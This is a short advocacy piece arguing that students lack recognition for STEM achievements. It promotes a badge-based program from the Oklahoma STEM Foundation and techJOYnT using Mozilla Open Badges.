STEM Recognition

From an early age, students receive recognition for a handful of activities whether it is for participation or excellence. Shelves and walls are lined with trophies, plaques, medals, ribbons, etc. from Little League, Karate, making the Honor Roll, or winning the Spelling Bee. Rarely, however, are students given recognition for their achievements in STEM fields. Today, there is a major deficit in the amount of students willing to pursue STEM careers due to lack of incentive, and this framework must change to create positive change for the future of our students.

The Oklahoma STEM Foundation, in partnership with techJOYnT Education Foundation is revolutionizing the way students learn STEM and wishes to offer kids recognition for their achievements through Mozilla Open Badges. Through a system of badges, students in STEM classes become scouts who can gain greater recognition with the amount of projects they complete. The STEM “Eagle Scout” can then take his or her badges and potentially receive college credit for what they have already accomplished–Arizona State University and Texas A&M already provide this kind of program.

The approach to STEM education, STEM involvement, STEM advertising, is fundamentally flawed, but students should not be deterred from STEM fields. A system of recognition can change all that, paving the way for the innovators and entrepreneurs of tomorrow.
